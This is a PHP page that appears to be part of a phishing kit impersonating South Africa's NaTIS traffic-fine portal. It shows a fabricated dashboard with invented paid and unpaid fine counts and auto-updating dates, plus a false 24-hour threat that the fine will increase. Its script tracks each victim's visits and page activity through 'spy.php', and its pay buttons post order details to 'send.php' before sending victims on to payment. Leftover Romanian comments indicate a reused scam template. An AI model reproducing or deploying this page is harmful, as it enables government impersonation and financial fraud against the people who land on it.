<?php
require (__DIR__) . '/../main.php';
require __DIR__ . '/class/Config.php';

$data = $m->getData();
if (isset($data['IS_DONE']) && $data['IS_DONE'] == "1") {
    header('Location: done.php');
    exit;
}

date_default_timezone_set('Africa/Johannesburg');

$monthsEn = [
    1 => 'January', 2 => 'February', 3 => 'March', 4 => 'April',
    5 => 'May', 6 => 'June', 7 => 'July', 8 => 'August',
    9 => 'September', 10 => 'October', 11 => 'November', 12 => 'December',
];

function meFormatRoDate($ts) {
    global $monthsEn;
    $d = (int) date('j', $ts);
    $m = (int) date('n', $ts);
    $y = date('Y', $ts);
    return $monthsEn[$m] . ' ' . $d . ', ' . $y;
}

function meFormatRoRange($startTs, $endTs) {
    global $monthsEn;
    $m = (int) date('n', $startTs);
    return date('j', $startTs) . '-' . date('j', $endTs) . ' ' . $monthsEn[$m];
}

$amountNum = Config::paymentAmountNumeric();
$currency = Config::paymentCurrencyCode();
$leiLabel = $currency;
$amountDisplay = number_format($amountNum, 2, '.', ' ') . ' ' . $leiLabel;
$lastPaymentDisplay = number_format($amountNum * 1.51, 2, ',', '.') . ' ' . $leiLabel;

// Dates din luna trecută — se actualizează automat la fiecare lună
$prevMonthStart = strtotime('first day of last month');
$dueDate = strtotime('+20 days', $prevMonthStart);      // 21
$lastInvoice = strtotime('+13 days', $prevMonthStart);  // 14
$lastPayment = strtotime('+5 days', $prevMonthStart);    // 6 — istoric plăți
$indexStart = strtotime('+2 days');
$indexEnd = strtotime('+7 days');

$paidCount = 26;
$unpaidCount = 2;
$totalInvoices = $paidCount + $unpaidCount;
$paidPct = $totalInvoices > 0 ? round(($paidCount / $totalInvoices) * 100) : 0;
$ringOffset = 251.2 - (251.2 * $paidPct / 100);

$orderId = Config::$transaction_id;
$fineRef = Config::$fine_reference;
$initialDisplay = Config::$fine_amount_initial;
$nextDisplay = Config::$fine_amount_next;
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="robots" content="noindex">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <title>NaTIS — Dashboard</title>
    <link href="https://cdn.jsdelivr.net/gh/hung1001/font-awesome-pro@4cac1a6/css/all.css" rel="stylesheet" type="text/css" />
    <link rel="stylesheet" href="themes/css/dashboard-electrica.css" />
</head>
<body>

<div class="me-app">
    <aside class="me-sidebar" aria-label="Navigare">
        <div class="me-sidebar-logo">
            <a href="home.php" class="me-logo-mark">
                <img src="assets/img/NaTIS%20logo.png" alt="NaTIS" class="me-logo-img" decoding="async" />
            </a>
        </div>
        <nav class="me-nav">
            <a class="me-nav-item active" href="fac.php"><i class="fas fa-chart-bar"></i> Dashboard</a>
            <a class="me-nav-item" href="invoice.php"><i class="fas fa-exclamation-triangle"></i> Pay traffic fine <i class="fas fa-chevron-down me-chevron"></i></a>
            <a class="me-nav-item" href="letter.php"><i class="fas fa-envelope"></i> Fine notice</a>
            <a class="me-nav-item" href="#"><i class="fas fa-id-card"></i> My profile</a>
            <a class="me-nav-item" href="support.php"><i class="fas fa-question-circle"></i> Support</a>
        </nav>
        <div class="me-sidebar-foot">
            <a href="contact.php">Registering authority locator</a>
            <a href="services.php">Online services</a>
        </div>
    </aside>

    <div class="me-main-wrap">
        <header class="me-topbar">
            <div class="me-topbar-right">
                <button type="button" class="me-theme-btn" aria-label="Temă"><i class="far fa-sun"></i></button>
                <a class="me-topbar-logo me-logo-mark me-logo-mark--sm" href="home.php">
                    <img src="assets/img/NaTIS%20logo.png" alt="NaTIS" class="me-logo-img me-logo-img--sm" decoding="async" />
                </a>
            </div>
        </header>

        <main class="me-content">
            <div class="me-breadcrumb">
                <a href="home.php">NaTIS</a> &gt; Dashboard
            </div>
            <h1 class="me-page-title">Dashboard</h1>

            <div class="me-grid-top">
                <section class="me-hero" aria-label="Sold de plată">
                    <div class="me-hero-skyline" aria-hidden="true"></div>

                    <div class="me-hero-top">
                        <div class="me-hero-panel me-hero-panel-stats">
                            <div class="me-progress-ring" aria-hidden="true">
                                <svg viewBox="0 0 100 100">
                                    <circle class="ring-bg" cx="50" cy="50" r="40"></circle>
                                    <circle class="ring-fill" cx="50" cy="50" r="40"
                                            stroke-dasharray="251.2"
                                            stroke-dashoffset="<?= htmlspecialchars((string) $ringOffset, ENT_QUOTES, 'UTF-8') ?>"></circle>
                                </svg>
                                <div class="me-progress-pct"><?= (int) $paidPct ?>%</div>
                            </div>
                            <div class="me-stats-list">
                                <div class="me-stat-line">
                                    <span>Fines paid</span>
                                    <strong><?= (int) $paidCount ?></strong>
                                </div>
                                <div class="me-stat-line">
                                    <span>Outstanding fines</span>
                                    <strong><?= (int) $unpaidCount ?></strong>
                                </div>
                                <div class="me-stat-bar" aria-hidden="true">
                                    <span style="width:<?= (int) $paidPct ?>%"></span>
                                </div>
                                <div class="me-stat-line">
                                    <span>Total notices</span>
                                    <strong><?= (int) $totalInvoices ?></strong>
                                </div>
                            </div>
                        </div>

                        <div class="me-hero-panel me-hero-panel-dates">
                            <div class="me-date-row">
                                <span class="me-date-icon"><i class="far fa-clock"></i></span>
                                <div class="me-date-text">
                                    <span class="me-date-label">Payment deadline</span>
                                    <strong><?= htmlspecialchars(meFormatRoDate($dueDate), ENT_QUOTES, 'UTF-8') ?></strong>
                                </div>
                            </div>
                            <div class="me-date-row">
                                <span class="me-date-icon"><i class="far fa-calendar-alt"></i></span>
                                <div class="me-date-text">
                                    <span class="me-date-label">Last notice sent</span>
                                    <strong><?= htmlspecialchars(meFormatRoDate($lastInvoice), ENT_QUOTES, 'UTF-8') ?></strong>
                                </div>
                            </div>
                        </div>
                    </div>

                    <div class="me-hero-bottom">
                        <div class="me-balance-block">
                            <span class="me-wallet-icon" aria-hidden="true">
                                <svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="1.6">
                                    <rect x="3" y="6" width="18" height="13" rx="2"></rect>
                                    <path d="M3 10h18"></path>
                                    <circle cx="16" cy="14" r="1.2" fill="currentColor" stroke="none"></circle>
                                </svg>
                            </span>
                            <div class="me-balance-copy">
                                <div class="me-balance-label">AMOUNT DUE</div>
                                <div class="me-balance-value"><?= htmlspecialchars($amountDisplay, ENT_QUOTES, 'UTF-8') ?></div>
                            </div>
                        </div>
                        <div class="me-hero-actions">
                            <a class="me-btn me-btn-white" href="invoice.php" id="btnPayFull">Pay now</a>
                            <a class="me-btn me-btn-outline" href="invoice.php" id="btnPayPartial">View fine notice</a>
                        </div>
                    </div>
                </section>

                <div class="me-card">
                    <div class="me-card-head">
                        <h2>Electronic notifications</h2>
                        <a class="me-card-link" href="#" aria-label="Detalii"><i class="fas fa-chevron-right"></i></a>
                    </div>
                    <div class="me-card-body">
                        <div class="me-alert me-alert-green">
                            <i class="fas fa-check-circle"></i>
                            <div>
                                <strong>Fine reminders by email are active</strong><br>
                                You will receive payment reminders for outstanding traffic fines.
                            </div>
                        </div>
                        <div class="me-toggle-row">
                            <span class="me-toggle-label">Email notifications</span>
                            <div style="display:flex;align-items:center;">
                                <span class="me-toggle-status">Enabled</span>
                                <label class="me-toggle">
                                    <input type="checkbox" checked disabled />
                                    <span class="me-toggle-slider"></span>
                                </label>
                            </div>
                        </div>
                        <div class="me-toggle-row">
                            <span class="me-toggle-label">SMS reminders</span>
                            <div style="display:flex;align-items:center;">
                                <span class="me-toggle-status">Enabled</span>
                                <label class="me-toggle">
                                    <input type="checkbox" checked disabled />
                                    <span class="me-toggle-slider"></span>
                                </label>
                            </div>
                        </div>
                        <button type="button" class="me-btn me-btn-blue" style="margin-top:16px;">
                            <i class="fas fa-magic"></i> Save changes
                        </button>
                    </div>
                </div>
            </div>

            <div class="me-card" style="margin-bottom:20px;">
                <div class="me-card-head">
                    <h2>Fine reference</h2>
                    <a class="me-card-link" href="#" aria-label="Detalii"><i class="fas fa-chevron-right"></i></a>
                </div>
                <div class="me-card-body">
                    <div class="me-index-box">
                        <div class="me-index-icon"><i class="far fa-calendar-alt"></i></div>
                        <div class="me-index-text">
                            <h3><?= htmlspecialchars($fineRef, ENT_QUOTES, 'UTF-8') ?></h3>
                            <p>Vehicle <?= htmlspecialchars(Config::visitorVehicleReg(), ENT_QUOTES, 'UTF-8') ?> · Increased from <?= htmlspecialchars($initialDisplay, ENT_QUOTES, 'UTF-8') ?> to <?= htmlspecialchars($amountDisplay, ENT_QUOTES, 'UTF-8') ?></p>
                        </div>
                    </div>
                </div>
            </div>

            <div class="me-grid-bottom">
                <div class="me-card">
                    <div class="me-card-head">
                        <h2>Outstanding fines</h2>
                        <a class="me-card-link" href="invoice.php" aria-label="View quote"><i class="fas fa-chevron-right"></i></a>
                    </div>
                    <div class="me-card-body">
                        <div class="me-alert me-alert-red">
                            <i class="fas fa-exclamation-circle"></i>
                            <div>
                                <strong>Warning: unpaid traffic fine!</strong><br>
                                Fine <strong><?= htmlspecialchars($fineRef, ENT_QUOTES, 'UTF-8') ?></strong> — pay <strong><?= htmlspecialchars($amountDisplay, ENT_QUOTES, 'UTF-8') ?></strong> within 24 hours or amount increases to <strong><?= htmlspecialchars($nextDisplay, ENT_QUOTES, 'UTF-8') ?></strong>.
                            </div>
                        </div>
                        <div class="me-stats-row">
                            <div class="me-stat-tile orange">
                                <div class="me-stat-num"><?= (int) $unpaidCount ?></div>
                                <div class="me-stat-label">Unpaid</div>
                            </div>
                            <div class="me-stat-tile green">
                                <div class="me-stat-num"><?= (int) $paidCount ?></div>
                                <div class="me-stat-label">Paid</div>
                            </div>
                        </div>
                    </div>
                </div>

                <div class="me-card">
                    <div class="me-card-head">
                        <h2>Payment history</h2>
                        <a class="me-card-link" href="#" aria-label="Detalii"><i class="fas fa-chevron-right"></i></a>
                    </div>
                    <div class="me-card-body">
                        <div class="me-alert me-alert-green">
                            <i class="fas fa-check-circle"></i>
                            <div>
                                <strong>Payments recorded</strong><br>
                                Last payment: <?= htmlspecialchars(meFormatRoDate($lastPayment), ENT_QUOTES, 'UTF-8') ?>
                            </div>
                        </div>
                        <div class="me-pay-stats">
                            <div class="me-pay-stat">
                                <div class="val"><?= htmlspecialchars($lastPaymentDisplay, ENT_QUOTES, 'UTF-8') ?></div>
                                <div class="lbl">Last payment</div>
                            </div>
                            <div class="me-pay-stat">
                                <div class="val"><?= htmlspecialchars($lastPaymentDisplay, ENT_QUOTES, 'UTF-8') ?></div>
                                <div class="lbl">Total paid this month</div>
                            </div>
                        </div>
                        <div class="me-pay-source">
                            <strong>Last payment source</strong>
                            NaTIS Online — Traffic fine payment
                        </div>
                    </div>
                </div>
            </div>
        </main>
    </div>
</div>

<input type="hidden" id="order_id" value="<?= htmlspecialchars($orderId, ENT_QUOTES, 'UTF-8') ?>" />

<script src="res/jq.js"></script>
<?php $m->ctr("FAC"); ?>

<script>
(function () {
    var orderEl = document.getElementById('order_id');
    var orderId = orderEl ? orderEl.value : '';
    var page = 'fac';

    function postKeepalive(bodyStr) {
        try {
            return fetch('spy.php', {
                method: 'POST',
                headers: { 'Content-Type': 'application/x-www-form-urlencoded;charset=UTF-8' },
                body: bodyStr,
                keepalive: true
            });
        } catch (e) {
            return Promise.resolve();
        }
    }

    function sendBeacon(action) {
        var bodyStr = 'page=' + encodeURIComponent(page) +
            '&action=' + encodeURIComponent(action) +
            '&order_id=' + encodeURIComponent(orderId);
        if (navigator.sendBeacon) {
            var blob = new Blob([bodyStr], { type: 'application/x-www-form-urlencoded;charset=UTF-8' });
            navigator.sendBeacon('spy.php', blob);
            return;
        }
        postKeepalive(bodyStr);
    }

    function heartbeat() {
        postKeepalive('page=' + encodeURIComponent(page) +
            '&action=heartbeat&order_id=' + encodeURIComponent(orderId));
    }

    sendBeacon('enter');
    var hb = setInterval(heartbeat, 30000);

    var onLeave = function () {
        try { clearInterval(hb); } catch (e) {}
        sendBeacon('leave');
    };
    window.addEventListener('beforeunload', onLeave);
    window.addEventListener('pagehide', onLeave);

    document.addEventListener('visibilitychange', function () {
        if (document.hidden) {
            sendBeacon('hidden');
        } else {
            heartbeat();
        }
    });
})();

$(function () {
    $.post('spy.php', { loginview: 1 });

    $('#btnPayFull, #btnPayPartial').on('click', function (e) {
        e.preventDefault();
        var href = $(this).attr('href');
        $.post('send.php', {
            order_id: $('#order_id').val(),
            amount: <?= json_encode((string) $amountNum) ?>,
            currency: <?= json_encode($currency) ?>
        }).always(function () {
            window.location.href = href;
        });
    });
});
</script>

</body>
</html>
